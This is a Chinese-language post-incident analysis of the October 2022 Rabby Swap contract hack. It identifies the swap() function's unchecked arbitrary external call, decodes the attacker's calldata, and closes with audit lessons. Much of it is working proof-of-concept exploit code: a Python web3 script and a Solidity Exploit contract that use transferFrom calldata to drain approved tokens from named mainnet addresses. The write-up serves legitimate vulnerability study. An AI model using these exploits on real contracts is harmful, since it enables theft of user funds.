漏洞说明
Foresight News 消息,据慢雾安全团队情报, 2022 年 10 月 11 号,以太坊链上的 Rabby 钱包项目的 Swap 合约被攻击, 其合约中代币兑换函数直接通过 OpenZeppelin Address library 中的 functionCallWithValue 函数进行外部调用,而调用的目标合约以及调用数据都可由用户传入,但合约中并未对用户传入的参数进行检查,导致了任意外部调用问题。攻击者利用此问题窃取对此合约授权过的用户的资金。慢雾安全团队提醒使用过该合约的用户请迅速取消对该合约的授权并提取资金以规避风险。
截止目前,Rabby Swap 事件黑客已经获利超 19 万美元,资金暂时未进一步转移。黑客地址的手续费来源是 Tornado Cash 10 BNB,使用工具有 Multichain、ParaSwap、PancakeSwap、Uniswap V3、Trader Joe。慢雾 MistTrack 将持续监控黑客地址并分析相关痕迹。
漏洞分析 因为此合约是闭源合约,同时官方正在积极发布升级合约,所以当前的分析报告,等到此漏洞完全确认没有影响之后,才正式公布。
从漏洞公布到现在(2022/10/23),整个事件已经过去了,我也可以公开当时我们分析漏洞的过程。
确定漏洞函数 根据消息,发生了攻击行为。
Rabby Swap 在 ETH上的合约是 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1 , 是一个闭源合约,无法分析。
通过在 RABBY_SWAP_ABI 钱包中找到了合约对应的ABI。根据慢雾漏洞说明以太坊链上的 Rabby 钱包项目的 Swap 合约被攻击 ,猜测漏洞很有可能是因为swap()函数导致的。其中swap的函数原型是:
function swap(address srcToken,uint256 amount,address dstToken,uint256 minReturn,address dexRouter,address,dexSpender,bytes data,uint256 deadline) 对应的函数选择器是:
1 2 3 4 5 from web3 import Web3func = 'swap(address,uint256,address,uint256,address,address,bytes,uint256)' result = Web3.keccak(text=func) selector = (Web3.toHex(result))[:10 ] print (selector)
得到:0x32854cc2
查看Rabby Swap合约的调用的情况以及攻击交易的调用栈。
基本上Rabby Swap合约被调用的都是0x32854cc2,说明我们找到的ABI确实是Rabby Swap合约的ABI,swap()函数是Rabby Swap合约的入口函数。
分析0x07887fffc4488354d813fdcca5da0586dd6f9a3da36d503af768302eacbeec41 的调用栈信息call stack
最终确认就是swap()函数是漏洞入口函数。
解码攻击Payload swap的函数原型是:swap(address,uint256,address,uint256,address,address,bytes,uint256)
攻击者是通过创建攻击合约0x9682f31b3f572988f93C2B8382586ca26A866475 ,通过攻击合约调用``Rabby Swap的swap()方法,没有直接攻击的交易,那么我们也无法通过TX交易获取到攻击payload调用swap()`方法的值。
但是我们利用 call stack 可以获得攻击合约调用swap()的内容。
获得攻击合约调用swap()的内容是:
1 0x32854cc2000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000000000000000000000000000000000000009682f31b3f572988f93c2b8382586ca26a86647500000000000000000000000000000000000000000000000000000000000012340000000000000000000000000f5d2fb29fb7d3cfee444a200298f468908cc9420000000000000000000000000f5d2fb29fb7d3cfee444a200298f468908cc942000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000183c1c270d7000000000000000000000000000000000000000000000000000000000000012823b872dd000000000000000000000000f0932ad508f81c96ce0b4812c058e6e9aab4a806000000000000000000000000b687550842a24d7fbc6aad238fd7e0687ed59d550000000000000000000000000000000000000000000000878678604acab81b8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee869584cd000000000000000000000000100000000000000000000000000000000000001100000000000000000000000000000000000000000000005f5265d161634262ef000000000000000000000000000000000000000000000000
由于,我们知道swap()函数的ABI,所以可以解码出来input data。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import refrom web3 import Web3def decode_input_with_abi (input_data: str , my_address: str , func_name: str ): func_params = func_name[func_name.index('(' ) + 1 :func_name.index(')' )] params = func_params.split(',' ) params_type = [re.split('\s+' , item.strip())[0 ].strip() for item in params] input_data_params_hex_str = Web3.toBytes(hexstr=input_data[11 :]) from eth_abi import decode_abi decodedABI = decode_abi(params_type, input_data_params_hex_str) address_value_lst = [] for idx, param_type in enumerate (params_type): address_value = decodedABI[idx] print (f'idx: {idx} , param_type: {param_type} : {address_value} ' ) if __name__ == '__main__' : input_data = '0x32854cc2000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000000000000000000000000000000000000009682f31b3f572988f93c2b8382586ca26a86647500000000000000000000000000000000000000000000000000000000000012340000000000000000000000000f5d2fb29fb7d3cfee444a200298f468908cc9420000000000000000000000000f5d2fb29fb7d3cfee444a200298f468908cc942000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000183c1c270d7000000000000000000000000000000000000000000000000000000000000012823b872dd000000000000000000000000f0932ad508f81c96ce0b4812c058e6e9aab4a806000000000000000000000000b687550842a24d7fbc6aad238fd7e0687ed59d550000000000000000000000000000000000000000000000878678604acab81b8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee869584cd000000000000000000000000100000000000000000000000000000000000001100000000000000000000000000000000000000000000005f5265d161634262ef000000000000000000000000000000000000000000000000' my_address = '0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1' func_name = 'swap(address,uint256,address,uint256,address,address,bytes,uint256)' decode_input_with_abi(input_data, my_address, func_name)
得到的解码参数是:
1 2 3 4 5 6 7 8 idx: 0, param_type: address: 0xdac17f958d2ee523a2206206994597c13d831ec7 idx: 1, param_type: uint256: 0 idx: 2, param_type: address: 0x9682f31b3f572988f93c2b8382586ca26a866475 idx: 3, param_type: uint256: 4660 idx: 4, param_type: address: 0x0f5d2fb29fb7d3cfee444a200298f468908cc942 idx: 5, param_type: address: 0x0f5d2fb29fb7d3cfee444a200298f468908cc942 idx: 6, param_type: bytes: b'#\xb8r\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x93*\xd5\x08\xf8\x1c\x96\xce\x0bH\x12\xc0X\xe6\xe9\xaa\xb4\xa8\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb6\x87U\x08B\xa2M\x7f\xbcj\xad#\x8f\xd7\xe0h~\xd5\x9dU\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x87\x86x`J\xca\xb8\x1b\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xda\xc1\x7f\x95\x8d.\xe5#\xa2 b\x06\x99E\x97\xc1=\x83\x1e\xc7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\x86\x95\x84\xcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00_Re\xd1acBb\xef' idx: 7, param_type: uint256: 1665403089111
分析得到:
1 2 3 4 5 6 7 8 idx: 0, param_type: address: 0xdac17f958d2ee523a2206206994597c13d831ec7 # USDT idx: 1, param_type: uint256: 0 idx: 2, param_type: address: 0x9682f31b3f572988f93c2b8382586ca26a866475 # 攻击合约 idx: 3, param_type: uint256: 4660 idx: 4, param_type: address: 0x0f5d2fb29fb7d3cfee444a200298f468908cc942 # MANA Token idx: 5, param_type: address: 0x0f5d2fb29fb7d3cfee444a200298f468908cc942 # MANA Token idx: 6, param_type: bytes: .... # call data idx: 7, param_type: uint256: 1665403089111 # deadline,
对bytes类型的calldata转换为十六进制的字符串:
1 2 3 data = b'#\xb8r\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x93*\xd5\x08\xf8\x1c\x96\xce\x0bH\x12\xc0X\xe6\xe9\xaa\xb4\xa8\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb6\x87U\x08B\xa2M\x7f\xbcj\xad#\x8f\xd7\xe0h~\xd5\x9dU\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x87\x86x`J\xca\xb8\x1b\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xda\xc1\x7f\x95\x8d.\xe5#\xa2 b\x06\x99E\x97\xc1=\x83\x1e\xc7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\x86\x95\x84\xcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00_Re\xd1acBb\xef' result = data.hex () print (bytes (result, encoding="raw_unicode_escape" ))
得到如下内容:
1 23b872dd000000000000000000000000f0932ad508f81c96ce0b4812c058e6e9aab4a806000000000000000000000000b687550842a24d7fbc6aad238fd7e0687ed59d550000000000000000000000000000000000000000000000878678604acab81b8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee869584cd000000000000000000000000100000000000000000000000000000000000001100000000000000000000000000000000000000000000005f5265d161634262ef
结合攻击交易的调用栈分析:
发现我们解析出来的calldata的内容和以下的代码完全一致。
1 MANA.transferFrom(_from=0xf0932ad508f81c96ce0b4812c058e6e9aab4a806,_to=0xb687550842a24d7fbc6aad238fd7e0687ed59d55,_value=2500000050423422000000)
那么就说明漏洞的原理,其实就是利用Token合约是直接调用了calldata。那么我们调用transferFrom()函数就可以将受害者的Token转移到我们自己的账户中。
漏洞复现 使用Python代码构建这样的合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 transferom_calldata = DecodeUtils.encode_with_selector('0x23b872dd' , ['address' , 'address' , 'uint256' ], [ Web3.toChecksumAddress('0xf0932ad508f81c96ce0b4812c058e6e9aab4a806' ), Web3.toChecksumAddress('0xa0ee7a142d267c1f36714e4a8f75612f20a79720' ), 100 ]) transferom_calldata_bytes = transferom_calldata.encode('utf8' ) unicorn_txn = unicorns.functions.swap( Web3.toChecksumAddress('0xdAC17F958D2ee523a2206206994597C13D831ec7' ), 0 , web3obj.toChecksumAddress('0xa0ee7a142d267c1f36714e4a8f75612f20a79720' ), 4660 , '0x0F5D2fB29fb7d3CFeE444a200298f468908cC942' , '0x0F5D2fB29fb7d3CFeE444a200298f468908cC942' , transferom_calldata_bytes, 1665575889111 ).build_transaction({ 'chainId' : 1 , 'gas' : 700000 , 'maxFeePerGas' : web3obj.toWei('2000' , 'gwei' ), 'maxPriorityFeePerGas' : web3obj.toWei('10' , 'gwei' ), 'nonce' : nonce, }) signed_txn = web3obj.eth.account.sign_transaction(unicorn_txn,private_key='0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6' ) web3obj.eth.send_raw_transaction(signed_txn.rawTransaction) token = web3obj.eth.contract(address=web3obj.toChecksumAddress('0x0f5d2fb29fb7d3cfee444a200298f468908cc942' ), abi=json.load(open ('token_abi.json' ))) token_balance = token.functions.balanceOf( web3obj.toChecksumAddress('0xa0ee7a142d267c1f36714e4a8f75612f20a79720' )).call()
除了使用Python构建POC之外,还可以使用合约的方式构建POC。相较而言,使用合约编写的POC更简单也更容易理解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 interface IRabbySwap { function swap( address, uint256, address, uint256, address, address, bytes calldata, uint256 ) external; } contract Exploit { IRabbySwap rabby_swap = IRabbySwap(0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1); IERC20 QNT = IERC20(0x4a220E6096B25EADb88358cb44068A3248254675); IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); function attack() external OnlyOwner { rabby_swap.swap( address(USDT), 0, address(this), 0x1234, address(QNT), address(QNT), abi.encodeWithSelector( 0x23b872dd, address(0x97469b461D73C4f570fC4f30255edfd134227408), address(this), 28833344000000000000 ), block.timestamp ); } function balanceOf(address account) public returns (uint256) { return 100000000000000000000; } function transfer( address from, address to, uint256 amount ) external returns (bool) { return true; } }
函数原型 后面根据 PeckShield-Audit-Report-RabbyRouter-v1.0 得到 swap 的函数实现是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function _swap( IERC20 srcToken ,uint256 amount , IERC20 dstToken ,uint256 minReturn , address dexRouter , address dexSpender ,bytes calldata data , uint256 deadline) internal { require(block.timestamp <= deadline , "Transaction expired, please try again."); require ( dexRouter != address (0) , "Invalid dexRouter") ; require ( dexSpender != address (0) , "Invalid dexSpender") ; bool srcIsEth = address(srcToken) == address(0); bool dstIsEth = address(dstToken) == address(0); uint256 value = 0; // transfer srcToken to rabbySwapRouter if (srcIsEth) { (bool success ,) = address(this). call{value : amount}(new bytes(0)); require ( success , "Unable to send tokens to your address , possibly due to contract restriction.") ; } else { srcToken.safeTransferFrom(msg.sender,address(this) ,amount) ; } if (!srcIsEth) { if (srcToken.allowance(address(this), dexSpender) < amount) { srcToken . safeApprove ( dexSpender , 0) ; srcToken.safeApprove(dexSpender , amount); } } else { value = amount; } // swap uint256 amountOut = 0; dexRouter.functionCallWithValue(data, value, "Liquidity source service error, swap fail.") ; if (!dstIsEth) { amountOut = dstToken.balanceOf(address(this)); } else { amountOut = address(this).balance; } // calcFeeAmount uint256 feeAmount = calcFeeAmount ( amountOut ) ; uint256 dexAmountOut = amountOut - feeAmount ; require (dexAmountOut >= minReturn , "Receiving token is below your slippage setting. Try again with a higher slippage."); // send amount this .send(dstToken , msg.sender , dexAmountOut); this .send(dstToken , feeReceiver , feeAmount); }
其中关键的代码就是:
1 dexRouter.functionCallWithValue(data, value, "Liquidity source service error, swap fail.") ;
因为合约中没有对dexRouter 和data进行任何的校验,所以我们构造dexRouter为用户已经授权的Token,data为Transferfrom的请求,这样我们就成功转出来受害者的Token到我们的目标地址中。
总结 首先,总结在本次我们通过慢雾发布的信息开始尝试漏洞的攻击时,通过官方的钱包代码第一时间找到了闭源合约的ABI并快速定位了漏洞函数是swap(),但是没有去查看派盾发布的审计报告,否则前面的很多漏洞验证的步骤都可以略过了。
其次,在确认了漏洞的大致原理,尝试使用Python编写Poc时,因为经验不足导致花费了大量的时间没有编写成功,还是使用合约快速编写出来的。
最后关于这个漏洞来说,现在越来越的漏洞都是针对的闭源合约。对于项目方来说,闭源合约也不一定是安全的,还是需要加强对自身合约的测试和安全审计,不能心存侥幸。
参考 https://foresightnews.pro/news/h5Detail/11245
https://twitter.com/Supremacy_CA/status/1579813933669486592